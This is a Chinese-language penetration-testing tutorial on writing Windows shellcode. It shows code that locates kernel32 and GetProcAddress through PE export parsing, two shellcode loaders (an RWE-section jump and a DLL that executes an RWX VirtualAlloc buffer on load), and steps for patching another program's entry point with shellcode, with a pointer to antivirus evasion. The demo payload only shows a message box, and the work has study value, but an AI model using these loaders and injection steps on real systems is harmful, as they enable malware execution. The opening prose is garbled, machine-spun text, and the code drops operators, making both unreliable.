您现在的位置是:首页 > 教程资讯

网站渗透|Shellcode程序编写

作者:果E安全网时间:2020-10-25 20:55:59分类:教程资讯

简介shellcode的实质实际上便是一段能够独立运作的汇编代码,它沒有一切文档构造,它不依靠一切编译程序自然环境,没法像exe一样双击鼠标运作。实际的shellcode详细介绍大伙儿可自主百度搜索,我这里也也不唠叨了。由于近期大半年做渗入比较多,应用的shellcode也全是CS或

shellcode的实质实际上便是一段能够独立运作的汇编代码,它沒有一切文档构造,它不依靠一切编译程序自然环境,没法像exe一样双击鼠标运作。实际的shellcode详细介绍大伙儿可自主百度搜索,我这里也也不唠叨了。

由于近期大半年做渗入比较多,应用的shellcode也全是CS或MSF生成的,可是专用工具全自动生成的shellcode终究是死的,没法自身拓展作用,再例如你了解一个新的系统漏洞,可是给的漏洞检测poc只有弹出来个计算方式,要想完成自身要想作用的shellcode就务必自身编写,因而把握Shellcode编写技术性就看起来至关重要,而且在跨站脚本攻击和冲击波病毒上边shellcode也是不可或缺的关键人物角色。

要想自身编写shellcode,前提条件是务必了解shellcode编写中最重要的好多个知识要点,下边我能以难题的方式把必须处理的好多个点列一下:

1.Shellcode也是一段程序流程,假如想一切正常运作也必须采用各式各样的数据信息(比如全局性的字符串数组等),可是大家都了解静态变量的浏览全是固定不动详细地址(硬编码,也就是写死的,没法更改的),而大家的shellcode很有可能会被分配运作在一切程序流程的一切部位,我们要如何确保shellcode在这类状况下还能准确的浏览到需要的数据信息呢?

2.Shellcode也是运作在电脑操作系统里的,必定必须启用一些系统软件的API,我们要怎么才能获得这种API的详细地址呢?

3.假如Shellcode运作的程序流程中沒有导进大家需要的API,而大家又务必要应用它,大家应该怎么办呢?

由于篇数缘故这种难题的回答大伙儿能够从FB杰出创作者Rabbit_Run汉语翻译的《Windows平台shellcode开发入门一、二、三》三篇文章内容中找寻寻找答案,大部分把shellcode编写必须掌握的外置专业知识都涉及到了,大伙儿能够带著难题去寻找答案。

在知道这种外置专业知识以后大伙儿假如纯笔写shellcode得话還是较为不便和艰难得,如同写原生态的js代码比不上应用jquery等js框架便捷且开发设计迅速。因此 我们要打造出一套随手的shellcode程序编写架构用于今后大家开发设计自身作用的shellcode。如今在网上许多 这类shellcode程序编写架构,例如TK之前开源系统的一款、OneBugMan教师之前读过的2款这些,我以前校园内学习培训的情况下自身读过一个shellcode程序编写架构可是早已不见,并且搞渗入的这段时间之前的专业知识忘记了许多 了,因此 就参考OneBugMan教师的课程内容(有兴趣爱好的能够去适用一下教师讲的示范课,讲的非常好)写了一个shellcode架构实践活动了一下。

图片.png

? 图1 框架剪力墙图

此次工程项目建立是win32空新项目,应用的是VS2015编译程序relase/x86,编译程序以前开展以下设定:

1.建立工程项目时关掉SDL查验

2.属性->C/C ->编码生成->运行库->线程同步 (/MT)如果是debug则设成MTD

3.属性->基本->服务平台工具箱->设定为Visual Studio 2015- Windows XP (v140_xp),要是没有则能够去安裝上相匹配的兼容xp的部件

4.属性->C/C ->编码生成->禁止使用安全大检查GS

5.关掉生成明细 属性->连接器->明细文档->生成明细 挑选否

下边介绍一下每一个文档的功效:

1.api.h——>shellcode常用到系统软件函数的函数表针,及其一个建筑结构里边包括了这种函数表针。

2.header.h——>头文件及自定作用函数的函数申明。

3.0.entry.cpp——>架构的入口,建立最终生成的shellcode文档。

4.a.start.cpp——>标识shellcode的刚开始部位,用于开展shellcode编写前的外置实际操作和常用到函数的复位

5.b.work.cpp——>shellcode的实行,实际作用的完成

6.z.end.cpp——>标识shellcode完毕部位

往往文件命名的方式依照这类方法取名是由于依照先数据再英文字母,依照前后左右排序的方式,工程项目内文档那样取名是为了更好地编译程序生成exe的情况下便是依照下面的图次序编译程序生成的,那样生成的exe代码段中函数顺序排列也是依照下面的图文档中函数排列顺序的,那样我们可以很便捷的测算出Shellcode的尺寸(z.end中的ShellcodeEnd 减掉a.start.中的ShellcodeStart便是shellcode的尺寸),进而把shellcode载入最终生成的文档中。

图片.png? 图2 编译程序顺序图

0.entry.cpp中关键留意的便是改动函数入口点的名字一定要和自身写的函数名字一致,不然找不着入口点,由于大家改动了入口点因此 一些C方式的函数不可以立即应用了,要改成动态性启用的方式,也有便是大家载入shellcode尺寸的测算。

图片.png

? 图3 0.entry.cpp编码

a.start.cpp中主要是完成了编写shellcode最重要的好多个外置提前准备:动态性获得kernel32.dll的栽培基质和运用PE格式文件的专业知识来获得GetProcAddress函数详细地址,进一步获得LoadLibrary详细地址,拥有这种外置流程大家才可以获得别的随意API的详细地址,从而完成大家shellcode的各种各样作用

图片.png图4 获得kernel32.dll基详细地址

下边是获得GetProcAddress函数详细地址,往往GetProcAddress字符串数组要下列图那类书写是由于假如应用那样书写char str[]="xxxxx";那样会把字符串数组写到程序流程中的rdata段,就变成了肯定详细地址,应用肯定详细地址会使shellcode实行不正确。

FARPROC getProcAddress(HMODULE hModuleBase)

{

FARPROC pRet=NULL;

PIMAGE_DOS_HEADER lpDosHeader;

PIMAGE_NT_HEADERS32 lpNtHeaders;

PIMAGE_EXPORT_DIRECTORY lpExports;

PWORD lpwOrd;

PDWORD lpdwFunName;

PDWORD lpdwFunAddr;

DWORD dwLoop;

lpDosHeader=(PIMAGE_DOS_HEADER)hModuleBase;

lpNtHeaders=(PIMAGE_NT_HEADERS)((DWORD)hModuleBase lpDosHeader->e_lfanew);

if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)

{

return pRet;

}

if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)

{

return pRet;

}

lpExports=(PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

if (!lpExports->NumberOfNames)

{

return pRet;

}

lpdwFunName=(PDWORD)((DWORD)hModuleBase (DWORD)lpExports->AddressOfNames);

lpwOrd=(PWORD)((DWORD)hModuleBase (DWORD)lpExports->AddressOfNameOrdinals);

lpdwFunAddr=(PDWORD)((DWORD)hModuleBase (DWORD)lpExports->AddressOfFunctions);

for (dwLoop=0; dwLoop<=lpExports->NumberOfNames - 1; dwLoop )

{

char * pszFunction=(char*)(lpdwFunName[dwLoop](DWORD)hModuleBase);

if (pszFunction[0]=='G'

&&pszFunction[1]=='e'

&&pszFunction[2]=='t'

&&pszFunction[3]=='P'

&&pszFunction[4]=='r'

&&pszFunction[5]=='o'

&&pszFunction[6]=='c'

&&pszFunction[7]=='A'

&&pszFunction[8]=='d'

&&pszFunction[9]=='d'

&&pszFunction[10]=='r'

&&pszFunction[11]=='e'

&&pszFunction[12]=='s'

&&pszFunction[13]=='s')

{

pRet=(FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]](DWORD)hModuleBase);

 break;

  }

  }

  return pRet;

  }

  下面的初始化函数部分我们要知道我们使用的函数在哪个dll中,比如我们想要使用system()函数执行命令,我们就要通过下图方式先载入msvCRT.dll,然后再通过getprocaddress函数找到system函数。别忘记system函数中所用的命令字符串(例如调用计算器)也要像char szCalc[]={ 'c','a','l','c',0 };这样写。图片.png? 图5 初始化函数

  具体功能实现时只需要记住要将函数内所用到的字符串按照下图数组方式声明即可,这里我们写了示例的功能为 弹出一个消息框 提示hello,然后创建一个1.txt文档。

  图片.png

   图 6 b.work.cpp具体功能实现

  框架代码写好之后,我们运行一下会在项目目录里面生成一个sc.bin文件,这个文件中我们使用010Editor打开sc.bin即可看到生成的shellcode。

  图片.png 图7 生成的shellcode

  例如我们想让dbgview.exe运行我们生成的shellcode

  第一步:我们使用lordPE查看dbgview.exe程序的入口点。

  图片.png

  然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。

  源码A

  #include

  #include

  #pragma comment(linker, "/section:.data,RWE")

  unsigned char shellcode[]="\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode";

  void main()

  {

  __asm

  {

  mov eax, offset shellcode

  jmp eax

  }

  }

  源码B

  // dllmain.cpp : 定义 DLL 应用程序的入口点。

  #include "stdafx.h"

  #include

  #include

  //data段可读写

  #pragma comment(linker, "/section:.data,RWE")

  HANDLE My_hThread=NULL;

  //void(*ptrceshi)()=NULL;

  typedef void(__stdcall *CODE) ();

  unsigned char shellcode[]="x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode";

  DWORD WINAPI ceshi(LPVOID pParameter)

  {

  PVOID p=NULL;

  if ((p=VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE))==NULL)

  {

  }

  if (!(memcpy(p, shellcode, sizeof(shellcode))))

  {

  }

  CODE code=(CODE)p;

  code();

  return 0;

  }

  BOOL APIENTRY DllMain( HMODULE hModule,

  DWORD ul_reason_for_call,

  LPVOID lpReserved

  )

  {

  switch (ul_reason_for_call)

  {

  case DLL_PROCESS_ATTACH:

  My_hThread=::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程

  case DLL_THREAD_ATTACH:

  case DLL_THREAD_DETACH:

  case DLL_PROCESS_DETACH:

  break;

  }

  return TRUE;

  }

  具体操作可以参考我发的上篇文章《shellcode免杀实战里面的步骤》。

  我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。

  代码如下

  #include

  #include

  #include

  int main(int argc, char* argv[])

  {

  HANDLE hFile=CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);

  if (hFile==INVALID_HANDLE_VALUE)

  {

  printf("Open File Error!%d

  ", GetLastError());

  return -1;

  }

  DWORD dwSize;

  dwSize=GetFileSize(hFile, NULL);

  LPVOID lpAddress=VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  if (lpAddress==NULL)

  {

  printf("VirtualAlloc error:%d

  ", GetLastError());

  CloseHandle(hFile);

  return -1;

  }

  DWORD dwRead;

  ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);

  __asm

  {

  call lpAddress;

  }

  _flushall();

  system("pause");

  return 0;

  }

  写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin

  如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。

  原帖子链接工具链接

  我们就拿这个工具执行一下我们生成的sc.bin,将sc.bin拖入工具中,我们可以点击转成字符串形式

  图片.png

  这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。

  图片.png

  因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。

  图片.png

  图片.png至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。

  框架源码及加载器源码还有看雪加载器工具我已经放入网盘中了,大家有需要的可以下载使用。在此感谢OneBugMan老师的课程和看雪岭南散人分享的加载器工具。

  网盘链接:https://pan.baidu.com/s/107Vm__jpvMIkCZGYu2l5gg 提取码:tf3e

  Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

  想了解更多Tide安全团队,请关注团队官网:?http://www.TideSec.com?或长按二维码关注公众号:

  ewm.png

郑重声明:

果E安全网所有活动均为互联网所得,如有侵权请联系本站删除处理,转载请注明本站地址。

我来说两句